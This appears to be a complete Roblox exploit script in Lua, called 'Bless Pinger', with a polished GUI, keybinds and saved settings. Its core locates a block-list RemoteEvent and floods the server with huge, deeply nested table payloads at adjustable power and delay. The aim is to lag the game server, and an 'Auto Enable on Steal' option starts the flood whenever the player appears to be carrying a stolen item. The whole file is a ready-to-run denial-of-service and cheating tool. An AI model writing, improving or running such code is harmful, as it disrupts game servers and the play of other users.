0rvom82m
2026-09-24 21:24:49
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local CoreGui = game:GetService("CoreGui")
local plr = Players.LocalPlayer
if CoreGui:FindFirstChild("BlessPingerGui") then
CoreGui.BlessPingerGui:Destroy()
end
local screen = Instance.new("ScreenGui")
screen.Name = "BlessPingerGui"
screen.ResetOnSpawn = false
screen.DisplayOrder = 15
screen.Parent = CoreGui
local CONFIG_FILE = "BlessPingerConfig.json"
local DEFAULT_NIVELES = {
v1 = { power = 100000, delay = 0.125, depth = 186, label = "Low" },
v2 = { power = 72000, delay = 0.09, depth = 186, label = "Mid" },
v3 = { power = 43000, delay = 0.05, depth = 186, label = "High" },
}
local NIVELES = {}
for k, v in pairs(DEFAULT_NIVELES) do
NIVELES[k] = { power = v.power, delay = v.delay, depth = v.depth, label = v.label }
end
local cfg = {
keybindKb = "M",
keybindGp = "ButtonR2",
nivelActual = "v1",
autoEnable = true,
backgroundEnabled = true,
}
local laggerActive = false
local listeningFor = nil
local loopTask = nil
local remote = nil
local lastStealState = nil
local refreshSettingsUI = nil
local function resolveKb(name)
if not name or name == "" or name == "None" then return nil end
local ok, val = pcall(function() return Enum.KeyCode[name] end)
return (ok and val) or nil
end
local function saveConfig()
pcall(function()
local levels = {}
for k, v in pairs(NIVELES) do
levels[k] = { power = v.power, delay = v.delay, depth = v.depth }
end
writefile(CONFIG_FILE, HttpService:JSONEncode({
KeybindKb = cfg.keybindKb,
KeybindGp = cfg.keybindGp,
NivelActual = cfg.nivelActual,
AutoEnable = cfg.autoEnable,
BackgroundEnabled = cfg.backgroundEnabled,
Levels = levels,
}))
end)
end
local function loadConfig()
if pcall(isfile, CONFIG_FILE) and isfile(CONFIG_FILE) then
pcall(function()
local data = HttpService:JSONDecode(readfile(CONFIG_FILE))
cfg.keybindKb = data.KeybindKb or "M"
cfg.keybindGp = data.KeybindGp or "ButtonR2"
cfg.nivelActual = data.NivelActual or "v1"
cfg.autoEnable = data.AutoEnable ~= nil and data.AutoEnable or true
cfg.backgroundEnabled = data.BackgroundEnabled ~= nil and data.BackgroundEnabled or true
if type(data.Levels) == "table" then
for k, v in pairs(data.Levels) do
if NIVELES[k] and type(v) == "table" then
NIVELES[k].power = tonumber(v.power) or NIVELES[k].power
NIVELES[k].delay = tonumber(v.delay) or NIVELES[k].delay
NIVELES[k].depth = tonumber(v.depth) or NIVELES[k].depth
end
end
end
end)
end
end
loadConfig()
local C = {
bg = Color3.fromRGB(7, 8, 11),
panel = Color3.fromRGB(10, 11, 15),
card = Color3.fromRGB(16, 17, 23),
purp1 = Color3.fromRGB(92, 74, 255),
purp2 = Color3.fromRGB(132, 92, 255),
purp3 = Color3.fromRGB(190, 166, 255),
blue1 = Color3.fromRGB(52, 106, 255),
blue2 = Color3.fromRGB(72, 156, 255),
white = Color3.fromRGB(246, 247, 250),
dim = Color3.fromRGB(143, 146, 160),
green = Color3.fromRGB(79, 232, 150),
red = Color3.fromRGB(255, 91, 116),
waiting = Color3.fromRGB(255, 194, 88),
inputBg = Color3.fromRGB(8, 9, 13),
}
local T = { bg = 0.52, panel = 0.42, card = 0.50, header = 0.34, inputBg = 0.40 }
local function applyGradient(parent, c1, c2, rotation)
local g = Instance.new("UIGradient", parent)
g.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0,c1), ColorSequenceKeypoint.new(1,c2) })
g.Rotation = rotation or 135
return g
end
local function tw(obj, props, t)
TweenService:Create(obj, TweenInfo.new(t or 0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), props):Play()
end
local function makeDraggable(frame)
local dragging, dragStart, startPos
frame.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 or i.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = i.Position
startPos = frame.Position
i.Changed:Connect(function()
if i.UserInputState == Enum.UserInputState.End then dragging = false end
end)
end
end)
frame.InputChanged:Connect(function(i)
if dragging and (i.UserInputType == Enum.UserInputType.MouseMovement or i.UserInputType == Enum.UserInputType.Touch) then
local d = i.Position - dragStart
frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + d.X, startPos.Y.Scale, startPos.Y.Offset + d.Y)
end
end)
end
local MAIN_W, MAIN_H = 236, 136
local mainFrame = Instance.new("Frame")
mainFrame.Name = "MainFrame"
mainFrame.Size = UDim2.new(0, MAIN_W, 0, MAIN_H)
mainFrame.Position = UDim2.new(0.5, -MAIN_W/2, 0.5, -MAIN_H/2)
mainFrame.BackgroundColor3 = C.bg
mainFrame.BackgroundTransparency = T.bg
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Parent = screen
Instance.new("UICorner", mainFrame).CornerRadius = UDim.new(0, 16)
applyGradient(mainFrame, C.bg, Color3.fromRGB(12, 11, 18), 145)
local mainStroke = Instance.new("UIStroke", mainFrame)
mainStroke.Color = Color3.fromRGB(87, 76, 140)
mainStroke.Thickness = 1.15
mainStroke.Transparency = 0.22
local mainGlow = Instance.new("Frame", mainFrame)
mainGlow.Name = "AmbientGlow"
mainGlow.Size = UDim2.new(1, 10, 1, 10)
mainGlow.Position = UDim2.new(0, -5, 0, -5)
mainGlow.BackgroundTransparency = 1
mainGlow.BorderSizePixel = 0
mainGlow.ZIndex = 0
Instance.new("UICorner", mainGlow).CornerRadius = UDim.new(0, 19)
local mainGlowStroke = Instance.new("UIStroke", mainGlow)
mainGlowStroke.Color = C.purp2
mainGlowStroke.Thickness = 6
mainGlowStroke.Transparency = 0.9
local bgImage = Instance.new("ImageLabel", mainFrame)
bgImage.Name = "BackgroundImage"
bgImage.Size = UDim2.new(1, 0, 1, 0)
bgImage.Position = UDim2.new(0, 0, 0, 0)
bgImage.BackgroundTransparency = 1
bgImage.BorderSizePixel = 0
bgImage.Image = "rbxassetid://128392339249001"
bgImage.ScaleType = Enum.ScaleType.Crop
bgImage.ImageTransparency = 0.08
bgImage.ZIndex = 1
Instance.new("UICorner", bgImage).CornerRadius = UDim.new(0, 16)
local bgShade = Instance.new("Frame", mainFrame)
bgShade.Name = "BackgroundShade"
bgShade.Size = UDim2.new(1, 0, 1, 0)
bgShade.Position = UDim2.new(0, 0, 0, 0)
bgShade.BackgroundColor3 = Color3.fromRGB(8, 8, 12)
bgShade.BackgroundTransparency = 0.58
bgShade.BorderSizePixel = 0
bgShade.ZIndex = 1
Instance.new("UICorner", bgShade).CornerRadius = UDim.new(0, 16)
local function updateBackgroundVisibility()
bgImage.Visible = cfg.backgroundEnabled
bgShade.Visible = cfg.backgroundEnabled
end
updateBackgroundVisibility()
makeDraggable(mainFrame)
local header = Instance.new("Frame", mainFrame)
header.Size = UDim2.new(1,0,0,36)
header.BackgroundColor3 = C.card
header.BackgroundTransparency = T.header
header.BorderSizePixel = 0
header.ZIndex = 2
Instance.new("UICorner", header).CornerRadius = UDim.new(0,16)
applyGradient(header, Color3.fromRGB(22, 22, 31), Color3.fromRGB(12, 13, 18), 0)
local headerFill = Instance.new("Frame", mainFrame)
headerFill.Size = UDim2.new(1,0,0,10)
headerFill.Position = UDim2.new(0,0,0,26)
headerFill.BackgroundColor3 = Color3.fromRGB(12, 13, 18)
headerFill.BackgroundTransparency = T.header
headerFill.BorderSizePixel = 0
headerFill.ZIndex = 2
applyGradient(headerFill, Color3.fromRGB(12, 13, 18), Color3.fromRGB(12, 13, 18), 0)
local titleLbl = Instance.new("TextLabel", header)
titleLbl.Size = UDim2.new(1,-104,0,15)
titleLbl.Position = UDim2.new(0,24,0,5)
titleLbl.BackgroundTransparency = 1
titleLbl.Text = "BLESS PINGER"
titleLbl.TextColor3 = C.white
titleLbl.Font = Enum.Font.GothamBlack
titleLbl.TextSize = 11
titleLbl.TextXAlignment = Enum.TextXAlignment.Left
titleLbl.ZIndex = 3
local brandDot = Instance.new("Frame", header)
brandDot.Size = UDim2.new(0,6,0,6)
brandDot.Position = UDim2.new(0,10,0,10)
brandDot.BackgroundColor3 = C.purp3
brandDot.BorderSizePixel = 0
brandDot.ZIndex = 4
Instance.new("UICorner", brandDot).CornerRadius = UDim.new(1,0)
local brandDotStroke = Instance.new("UIStroke", brandDot)
brandDotStroke.Color = C.blue2
brandDotStroke.Thickness = 2
brandDotStroke.Transparency = 0.5
local subtitleLbl = Instance.new("TextLabel", header)
subtitleLbl.Size = UDim2.new(1,-104,0,9)
subtitleLbl.Position = UDim2.new(0,24,0,20)
subtitleLbl.BackgroundTransparency = 1
subtitleLbl.Text = "NETWORK CONTROL"
subtitleLbl.TextColor3 = C.dim
subtitleLbl.Font = Enum.Font.GothamMedium
subtitleLbl.TextSize = 6
subtitleLbl.TextXAlignment = Enum.TextXAlignment.Left
subtitleLbl.ZIndex = 3
local statusPill = Instance.new("Frame", header)
statusPill.Size = UDim2.new(0,44,0,18)
statusPill.Position = UDim2.new(1,-80,0.5,-9)
statusPill.BackgroundColor3 = Color3.fromRGB(12, 13, 18)
statusPill.BackgroundTransparency = 0.04
statusPill.BorderSizePixel = 0
statusPill.ZIndex = 3
Instance.new("UICorner", statusPill).CornerRadius = UDim.new(0,7)
local statusStroke = Instance.new("UIStroke", statusPill)
statusStroke.Color = Color3.fromRGB(69,71,86)
statusStroke.Thickness = 1
statusStroke.Transparency = 0.35
local statusLbl = Instance.new("TextLabel", statusPill)
statusLbl.Size = UDim2.new(1,0,1,0)
statusLbl.BackgroundTransparency = 1
statusLbl.Text = "OFF"
statusLbl.TextColor3 = C.red
statusLbl.Font = Enum.Font.GothamBlack
statusLbl.TextSize = 8
statusLbl.ZIndex = 4
local settingsEmojiBtn = Instance.new("TextButton", header)
settingsEmojiBtn.Size = UDim2.new(0,26,0,26)
settingsEmojiBtn.Position = UDim2.new(1,-31,0.5,-13)
settingsEmojiBtn.BackgroundColor3 = Color3.fromRGB(12, 13, 18)
settingsEmojiBtn.BackgroundTransparency = 0.02
settingsEmojiBtn.BorderSizePixel = 0
settingsEmojiBtn.AutoButtonColor = false
settingsEmojiBtn.Text = "⚙️"
settingsEmojiBtn.TextColor3 = C.white
settingsEmojiBtn.Font = Enum.Font.GothamBlack
settingsEmojiBtn.TextSize = 13
settingsEmojiBtn.ZIndex = 23
Instance.new("UICorner", settingsEmojiBtn).CornerRadius = UDim.new(0,8)
local settingsBtnStroke = Instance.new("UIStroke", settingsEmojiBtn)
settingsBtnStroke.Color = Color3.fromRGB(69,71,86)
settingsBtnStroke.Thickness = 1
settingsBtnStroke.Transparency = 0.3
local activateBtn = Instance.new("TextButton", mainFrame)
activateBtn.Size = UDim2.new(1,-20,0,34)
activateBtn.Position = UDim2.new(0,10,0,44)
activateBtn.BackgroundColor3 = C.card
activateBtn.BackgroundTransparency = T.card
activateBtn.BorderSizePixel = 0
activateBtn.AutoButtonColor = false
activateBtn.Text = ""
activateBtn.ZIndex = 3
Instance.new("UICorner", activateBtn).CornerRadius = UDim.new(0,10)
local activateGrad = applyGradient(activateBtn, Color3.fromRGB(73, 56, 211), Color3.fromRGB(121, 75, 238), 0)
local activateStroke = Instance.new("UIStroke", activateBtn)
activateStroke.Color = C.purp3
activateStroke.Thickness = 1
activateStroke.Transparency = 0.24
local activateLbl = Instance.new("TextLabel", activateBtn)
activateLbl.Size = UDim2.new(1,0,1,0)
activateLbl.BackgroundTransparency = 1
activateLbl.Text = "ACTIVATE"
activateLbl.TextColor3 = C.white
activateLbl.Font = Enum.Font.GothamBlack
activateLbl.TextSize = 11
activateLbl.ZIndex = 5
local startLagger, stopLagger
local levelOrder = { "v1", "v2", "v3" }
local levelBtns = {}
local btnContainer = Instance.new("Frame", mainFrame)
btnContainer.Size = UDim2.new(1, -20, 0, 30)
btnContainer.Position = UDim2.new(0, 10, 0, 88)
btnContainer.BackgroundTransparency = 1
btnContainer.ZIndex = 5
local btnW = math.floor((MAIN_W - 20 - 12) / 3)
local function refreshLevelVisuals()
for key, b in pairs(levelBtns) do
local selected = (cfg.nivelActual == key)
local stroke = b:FindFirstChildOfClass("UIStroke")
if selected then
b.BackgroundColor3 = Color3.fromRGB(30, 27, 48)
b.BackgroundTransparency = 0.42
b.TextColor3 = C.white
if stroke then
stroke.Color = C.purp3
stroke.Thickness = 1.25
stroke.Transparency = 0.05
end
else
b.BackgroundColor3 = C.card
b.BackgroundTransparency = 0.62
b.TextColor3 = C.dim
if stroke then
stroke.Color = Color3.fromRGB(56, 58, 70)
stroke.Thickness = 1
stroke.Transparency = 0.25
end
end
end
end
for i, key in ipairs(levelOrder) do
local b = Instance.new("TextButton", btnContainer)
b.Size = UDim2.new(0, btnW, 1, 0)
b.Position = UDim2.new(0, (i - 1) * (btnW + 6), 0, 0)
b.BackgroundColor3 = C.card
b.BackgroundTransparency = 0.62
b.BorderSizePixel = 0
b.Text = NIVELES[key].label
b.TextColor3 = C.dim
b.TextSize = 9
b.Font = Enum.Font.GothamBlack
b.AutoButtonColor = false
b.ZIndex = 6
Instance.new("UICorner", b).CornerRadius = UDim.new(0, 9)
local st = Instance.new("UIStroke", b)
st.Color = Color3.fromRGB(56, 58, 70)
st.Thickness = 1
st.Transparency = 0.25
b.MouseButton1Click:Connect(function()
cfg.nivelActual = key
refreshLevelVisuals()
if refreshSettingsUI then refreshSettingsUI() end
saveConfig()
if laggerActive then
startLagger()
end
end)
levelBtns[key] = b
end
refreshLevelVisuals()
local SET_W, SET_H = 244, 362
local settingsFrame = Instance.new("Frame")
settingsFrame.Name = "SettingsPanel"
settingsFrame.Size = UDim2.new(0,SET_W,0,SET_H)
settingsFrame.Position = UDim2.new(0.5,-SET_W/2,0.5,-SET_H/2)
settingsFrame.BackgroundColor3 = C.panel
settingsFrame.BackgroundTransparency = T.panel
settingsFrame.BorderSizePixel = 0
settingsFrame.ClipsDescendants = true
settingsFrame.Visible = false
settingsFrame.ZIndex = 20
settingsFrame.Parent = screen
Instance.new("UICorner", settingsFrame).CornerRadius = UDim.new(0,16)
applyGradient(settingsFrame, C.panel, Color3.fromRGB(13, 12, 19), 145)
local setStroke = Instance.new("UIStroke", settingsFrame)
setStroke.Color = Color3.fromRGB(87, 76, 140)
setStroke.Thickness = 1.15
setStroke.Transparency = 0.22
local settingsAccent = Instance.new("Frame", settingsFrame)
settingsAccent.Size = UDim2.new(1, -30, 0, 2)
settingsAccent.Position = UDim2.new(0, 15, 0, 0)
settingsAccent.BorderSizePixel = 0
settingsAccent.BackgroundColor3 = C.purp3
settingsAccent.ZIndex = 30
Instance.new("UICorner", settingsAccent).CornerRadius = UDim.new(1, 0)
applyGradient(settingsAccent, C.purp3, C.blue2, 0)
makeDraggable(settingsFrame)
local setHeader = Instance.new("Frame", settingsFrame)
setHeader.Size = UDim2.new(1,0,0,36)
setHeader.BackgroundColor3 = C.card
setHeader.BackgroundTransparency = T.header
setHeader.BorderSizePixel = 0
setHeader.ZIndex = 21
Instance.new("UICorner", setHeader).CornerRadius = UDim.new(0,16)
applyGradient(setHeader, Color3.fromRGB(22, 22, 31), Color3.fromRGB(12, 13, 18), 0)
local setHeaderFill = Instance.new("Frame", settingsFrame)
setHeaderFill.Size = UDim2.new(1,0,0,10)
setHeaderFill.Position = UDim2.new(0,0,0,26)
setHeaderFill.BackgroundColor3 = Color3.fromRGB(12, 13, 18)
setHeaderFill.BackgroundTransparency = T.header
setHeaderFill.BorderSizePixel = 0
setHeaderFill.ZIndex = 21
applyGradient(setHeaderFill, Color3.fromRGB(12, 13, 18), Color3.fromRGB(12, 13, 18), 0)
local setTitle = Instance.new("TextLabel", setHeader)
setTitle.Size = UDim2.new(1,-70,0,15)
setTitle.Position = UDim2.new(0,14,0,5)
setTitle.BackgroundTransparency = 1
setTitle.Text = "Settings"
setTitle.TextColor3 = C.white
setTitle.Font = Enum.Font.GothamBlack
setTitle.TextSize = 11
setTitle.TextXAlignment = Enum.TextXAlignment.Left
setTitle.ZIndex = 22
local setSubtitle = Instance.new("TextLabel", setHeader)
setSubtitle.Size = UDim2.new(1,-70,0,9)
setSubtitle.Position = UDim2.new(0,14,0,20)
setSubtitle.BackgroundTransparency = 1
setSubtitle.Text = "PRESET & INPUT SETTINGS"
setSubtitle.TextColor3 = C.dim
setSubtitle.Font = Enum.Font.GothamMedium
setSubtitle.TextSize = 6
setSubtitle.TextXAlignment = Enum.TextXAlignment.Left
setSubtitle.ZIndex = 22
local setCloseBtn = Instance.new("TextButton", setHeader)
setCloseBtn.Size = UDim2.new(0,26,0,26)
setCloseBtn.Position = UDim2.new(1,-31,0.5,-13)
setCloseBtn.BackgroundColor3 = Color3.fromRGB(12, 13, 18)
setCloseBtn.BackgroundTransparency = 0.02
setCloseBtn.BorderSizePixel = 0
setCloseBtn.AutoButtonColor = false
setCloseBtn.Text = "X"
setCloseBtn.TextColor3 = C.white
setCloseBtn.Font = Enum.Font.GothamBlack
setCloseBtn.TextSize = 11
setCloseBtn.ZIndex = 23
Instance.new("UICorner", setCloseBtn).CornerRadius = UDim.new(0,8)
local closeStroke = Instance.new("UIStroke", setCloseBtn)
closeStroke.Color = Color3.fromRGB(69,71,86)
closeStroke.Thickness = 1
closeStroke.Transparency = 0.3
local inputBoxes = {}
local function mkInputRow(yPos, labelText, getValue, onConfirm)
local row = Instance.new("Frame", settingsFrame)
row.Size = UDim2.new(1,-20,0,34)
row.Position = UDim2.new(0,10,0,yPos)
row.BackgroundColor3 = C.card
row.BackgroundTransparency = T.card
row.BorderSizePixel = 0
row.ZIndex = 21
Instance.new("UICorner", row).CornerRadius = UDim.new(0,10)
local rs = Instance.new("UIStroke",row); rs.Color=Color3.fromRGB(54,56,69); rs.Thickness=1; rs.Transparency=0.18
local lbl = Instance.new("TextLabel", row)
lbl.Size = UDim2.new(0.45,0,1,0)
lbl.Position = UDim2.new(0,10,0,0)
lbl.BackgroundTransparency = 1
lbl.Text = labelText
lbl.TextColor3 = Color3.fromRGB(225,227,235)
lbl.Font = Enum.Font.GothamBold
lbl.TextSize = 10
lbl.TextXAlignment = Enum.TextXAlignment.Left
lbl.ZIndex = 22
local box = Instance.new("TextBox", row)
box.Size = UDim2.new(0,72,0,24)
box.Position = UDim2.new(1,-80,0.5,-12)
box.BackgroundColor3 = C.inputBg
box.BackgroundTransparency = T.inputBg
box.BorderSizePixel = 0
box.Text = tostring(getValue())
box.TextColor3 = C.purp3
box.Font = Enum.Font.GothamBold
box.TextSize = 11
box.ClearTextOnFocus = false
box.ZIndex = 23
Instance.new("UICorner", box).CornerRadius = UDim.new(0,8)
local bs = Instance.new("UIStroke",box); bs.Color=Color3.fromRGB(81,72,128); bs.Thickness=1; bs.Transparency=0.2
box.FocusLost:Connect(function()
local n = tonumber(box.Text)
if n then
onConfirm(n)
box.Text = tostring(getValue())
saveConfig()
if laggerActive then startLagger() end
else
box.Text = tostring(getValue())
end
end)
table.insert(inputBoxes, { box = box, getValue = getValue })
return box
end
refreshSettingsUI = function()
for _, item in ipairs(inputBoxes) do
item.box.Text = tostring(item.getValue())
end
end
local kbBindBtn, gpBindBtn
local function updateKbLabels()
if kbBindBtn then
kbBindBtn.Text = listeningFor == "kb" and "Press..." or (cfg.keybindKb ~= "" and cfg.keybindKb or "None")
kbBindBtn.TextColor3 = listeningFor == "kb" and C.waiting or C.purp3
end
if gpBindBtn then
gpBindBtn.Text = listeningFor == "gp" and "Press..." or (cfg.keybindGp ~= "" and cfg.keybindGp or "None")
gpBindBtn.TextColor3 = listeningFor == "gp" and C.waiting or C.purp3
end
end
local function mkKeybindRow(yPos, labelText, which)
local row = Instance.new("Frame", settingsFrame)
row.Size = UDim2.new(1,-20,0,34)
row.Position = UDim2.new(0,10,0,yPos)
row.BackgroundColor3 = C.card
row.BackgroundTransparency = T.card
row.BorderSizePixel = 0
row.ZIndex = 21
Instance.new("UICorner", row).CornerRadius = UDim.new(0,10)
local rs = Instance.new("UIStroke",row); rs.Color=Color3.fromRGB(54,56,69); rs.Thickness=1; rs.Transparency=0.18
local lbl = Instance.new("TextLabel", row)
lbl.Size = UDim2.new(0.4,0,1,0)
lbl.Position = UDim2.new(0,10,0,0)
lbl.BackgroundTransparency = 1
lbl.Text = labelText
lbl.TextColor3 = Color3.fromRGB(225,227,235)
lbl.Font = Enum.Font.GothamBold
lbl.TextSize = 10
lbl.TextXAlignment = Enum.TextXAlignment.Left
lbl.ZIndex = 22
local bindBtn = Instance.new("TextButton", row)
bindBtn.Size = UDim2.new(0,78,0,24)
bindBtn.Position = UDim2.new(1,-90,0.5,-12)
bindBtn.BackgroundColor3 = C.inputBg
bindBtn.BackgroundTransparency = T.inputBg
bindBtn.BorderSizePixel = 0
bindBtn.AutoButtonColor = false
bindBtn.Font = Enum.Font.GothamBold
bindBtn.TextSize = 9
bindBtn.TextColor3 = C.purp3
bindBtn.ZIndex = 23
bindBtn.Text = which == "kb" and cfg.keybindKb or cfg.keybindGp
Instance.new("UICorner", bindBtn).CornerRadius = UDim.new(0,8)
local bStr = Instance.new("UIStroke",bindBtn); bStr.Color=Color3.fromRGB(81,72,128); bStr.Thickness=1; bStr.Transparency=0.2
bindBtn.MouseButton1Click:Connect(function()
listeningFor = (listeningFor == which) and nil or which
updateKbLabels()
end)
if which == "kb" then kbBindBtn = bindBtn end
if which == "gp" then gpBindBtn = bindBtn end
return bindBtn
end
local Y = 42
local GAP = 6
mkInputRow(Y, "Power", function() return NIVELES[cfg.nivelActual].power end, function(v)
NIVELES[cfg.nivelActual].power = math.clamp(v, 1000, 250000)
end); Y = Y + 34 + GAP
mkInputRow(Y, "Delay", function() return NIVELES[cfg.nivelActual].delay end, function(v)
NIVELES[cfg.nivelActual].delay = math.clamp(v, 0.001, 3)
end); Y = Y + 34 + GAP
mkInputRow(Y, "Depth", function() return NIVELES[cfg.nivelActual].depth end, function(v)
NIVELES[cfg.nivelActual].depth = math.clamp(v, 1, 500)
end); Y = Y + 34 + GAP
local autoRow = Instance.new("Frame", settingsFrame)
autoRow.Size = UDim2.new(1,-20,0,34)
autoRow.Position = UDim2.new(0,10,0,Y)
autoRow.BackgroundColor3 = C.card
autoRow.BackgroundTransparency = T.card
autoRow.BorderSizePixel = 0
autoRow.ZIndex = 21
Instance.new("UICorner", autoRow).CornerRadius = UDim.new(0,10)
local rs = Instance.new("UIStroke",autoRow); rs.Color=Color3.fromRGB(54,56,69); rs.Thickness=1; rs.Transparency=0.18
local autoLbl = Instance.new("TextLabel", autoRow)
autoLbl.Size = UDim2.new(0.7,0,1,0)
autoLbl.Position = UDim2.new(0,10,0,0)
autoLbl.BackgroundTransparency = 1
autoLbl.Text = "Auto Enable on Steal"
autoLbl.TextColor3 = Color3.fromRGB(225,227,235)
autoLbl.Font = Enum.Font.GothamBold
autoLbl.TextSize = 10
autoLbl.TextXAlignment = Enum.TextXAlignment.Left
autoLbl.ZIndex = 22
local autoBtn = Instance.new("TextButton", autoRow)
autoBtn.Size = UDim2.new(0,52,0,24)
autoBtn.Position = UDim2.new(1,-62,0.5,-12)
autoBtn.BackgroundColor3 = cfg.autoEnable and C.green or Color3.fromRGB(34,18,23)
autoBtn.BorderSizePixel = 0
autoBtn.AutoButtonColor = false
autoBtn.Text = cfg.autoEnable and "ON" or "OFF"
autoBtn.TextColor3 = C.white
autoBtn.Font = Enum.Font.GothamBlack
autoBtn.TextSize = 9
autoBtn.ZIndex = 23
Instance.new("UICorner", autoBtn).CornerRadius = UDim.new(0,8)
autoBtn.MouseButton1Click:Connect(function()
cfg.autoEnable = not cfg.autoEnable
autoBtn.Text = cfg.autoEnable and "ON" or "OFF"
tw(autoBtn, {BackgroundColor3 = cfg.autoEnable and C.green or Color3.fromRGB(34,18,23)}, 0.15)
saveConfig()
end)
Y = Y + 34 + GAP
local bgRow = Instance.new("Frame", settingsFrame)
bgRow.Size = UDim2.new(1,-20,0,34)
bgRow.Position = UDim2.new(0,10,0,Y)
bgRow.BackgroundColor3 = C.card
bgRow.BackgroundTransparency = T.card
bgRow.BorderSizePixel = 0
bgRow.ZIndex = 21
Instance.new("UICorner", bgRow).CornerRadius = UDim.new(0,10)
local bgRowStroke = Instance.new("UIStroke",bgRow); bgRowStroke.Color=Color3.fromRGB(54,56,69); bgRowStroke.Thickness=1; bgRowStroke.Transparency=0.18
local bgLbl = Instance.new("TextLabel", bgRow)
bgLbl.Size = UDim2.new(0.7,0,1,0)
bgLbl.Position = UDim2.new(0,10,0,0)
bgLbl.BackgroundTransparency = 1
bgLbl.Text = "Background Image"
bgLbl.TextColor3 = Color3.fromRGB(225,227,235)
bgLbl.Font = Enum.Font.GothamBold
bgLbl.TextSize = 10
bgLbl.TextXAlignment = Enum.TextXAlignment.Left
bgLbl.ZIndex = 22
local bgBtn = Instance.new("TextButton", bgRow)
bgBtn.Size = UDim2.new(0,52,0,24)
bgBtn.Position = UDim2.new(1,-62,0.5,-12)
bgBtn.BackgroundColor3 = cfg.backgroundEnabled and Color3.fromRGB(70, 132, 255) or Color3.fromRGB(34,18,23)
bgBtn.BorderSizePixel = 0
bgBtn.AutoButtonColor = false
bgBtn.Text = cfg.backgroundEnabled and "ON" or "OFF"
bgBtn.TextColor3 = C.white
bgBtn.Font = Enum.Font.GothamBlack
bgBtn.TextSize = 9
bgBtn.ZIndex = 23
Instance.new("UICorner", bgBtn).CornerRadius = UDim.new(0,8)
bgBtn.MouseButton1Click:Connect(function()
cfg.backgroundEnabled = not cfg.backgroundEnabled
bgBtn.Text = cfg.backgroundEnabled and "ON" or "OFF"
tw(bgBtn, {BackgroundColor3 = cfg.backgroundEnabled and Color3.fromRGB(70, 132, 255) or Color3.fromRGB(34,18,23)}, 0.15)
updateBackgroundVisibility()
saveConfig()
end)
Y = Y + 34 + GAP
mkKeybindRow(Y, "Keyboard", "kb"); Y = Y + 34 + GAP
mkKeybindRow(Y, "Controller", "gp"); Y = Y + 34 + GAP
local settingsOpen = false
local function toggleSettings()
settingsOpen = not settingsOpen
settingsFrame.Visible = settingsOpen
if settingsOpen then
refreshSettingsUI()
settingsFrame.Size = UDim2.new(0, SET_W, 0, 0)
tw(settingsFrame, {Size = UDim2.new(0, SET_W, 0, SET_H)}, 0.2)
end
end
settingsEmojiBtn.MouseButton1Click:Connect(toggleSettings)
setCloseBtn.MouseButton1Click:Connect(toggleSettings)
local function findRemote()
local rrs = game:FindFirstChild("RobloxReplicatedStorage")
if not rrs then return nil end
for _, name in ipairs({ "SetPlayerBlockList", "UpdatePlayerBlockList", "SetBlockList", "UpdateBlockList" }) do
local r = rrs:FindFirstChild(name)
if r and r:IsA("RemoteEvent") then return r end
end
for _, c in ipairs(rrs:GetChildren()) do
if c:IsA("RemoteEvent") and c.Name:find("Block") then return c end
end
return nil
end
local function buildPayload(power, depth)
depth = depth or 186
local main = {}
local nested = { {} }
local current = nested[1]
for _ = 1, depth do
local n = {}
table.insert(current, n)
current = n
end
local maxRep = math.min(math.floor(power / (depth + 2)), 10000)
for _ = 1, maxRep do
table.insert(main, nested)
end
return main
end
stopLagger = function()
if loopTask then
task.cancel(loopTask)
loopTask = nil
end
end
startLagger = function()
stopLagger()
remote = remote or findRemote()
if not remote then return end
local params = NIVELES[cfg.nivelActual]
local payload = buildPayload(params.power, params.depth)
local baseDelay = params.delay
loopTask = task.spawn(function()
local currentDelay = baseDelay
while laggerActive do
if not remote then
remote = findRemote()
task.wait(1)
else
local ok = pcall(function()
remote:FireServer(payload)
end)
if not ok then
currentDelay = math.min(currentDelay * 1.5, 0.5)
else
currentDelay = math.max(currentDelay * 0.995, baseDelay)
end
task.wait(currentDelay)
end
end
end)
end
local function toggleLaggerState(state)
laggerActive = state
if laggerActive then
activateGrad.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, C.purp2), ColorSequenceKeypoint.new(1, C.blue2) })
activateLbl.Text = "ACTIVATED"
activateStroke.Color = C.white
activateStroke.Transparency = 0
statusLbl.Text = "ON"
statusLbl.TextColor3 = C.green
tw(statusPill, {BackgroundColor3 = Color3.fromRGB(10, 40, 20)}, 0.2)
startLagger()
else
activateGrad.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, C.purp1), ColorSequenceKeypoint.new(1, C.purp2) })
activateLbl.Text = "ACTIVATE"
activateStroke.Color = C.purp3
activateStroke.Transparency = 0.4
statusLbl.Text = "OFF"
statusLbl.TextColor3 = C.red
tw(statusPill, {BackgroundColor3 = Color3.fromRGB(20, 10, 38)}, 0.2)
stopLagger()
end
end
activateBtn.MouseButton1Click:Connect(function()
toggleLaggerState(not laggerActive)
end)
RunService.Heartbeat:Connect(function()
if not cfg.autoEnable then
lastStealState = nil
return
end
local char = plr.Character
if not char then return end
local hum = char:FindFirstChild("Humanoid")
if not hum then return end
local ws = hum.WalkSpeed
local hasSteal = (ws >= 10 and ws < 25)
if lastStealState == nil then
lastStealState = hasSteal
return
end
if hasSteal and not lastStealState then
lastStealState = true
toggleLaggerState(true)
elseif not hasSteal and lastStealState then
lastStealState = false
toggleLaggerState(false)
end
end)
UserInputService.InputBegan:Connect(function(input, processed)
local kc = input.KeyCode
if kc == Enum.KeyCode.Unknown then return end
if listeningFor then
if kc == Enum.KeyCode.Escape then
listeningFor = nil
updateKbLabels()
return
end
if listeningFor == "kb" then
cfg.keybindKb = kc.Name
listeningFor = nil
updateKbLabels()
saveConfig()
return
end
if listeningFor == "gp" then
cfg.keybindGp = kc.Name
listeningFor = nil
updateKbLabels()
saveConfig()
return
end
return
end
if processed then return end
local kbEnum = resolveKb(cfg.keybindKb)
local gpEnum = resolveKb(cfg.keybindGp)
if (kbEnum and kc == kbEnum) or (gpEnum and kc == gpEnum) then
toggleLaggerState(not laggerActive)
end
end)
remote = findRemote()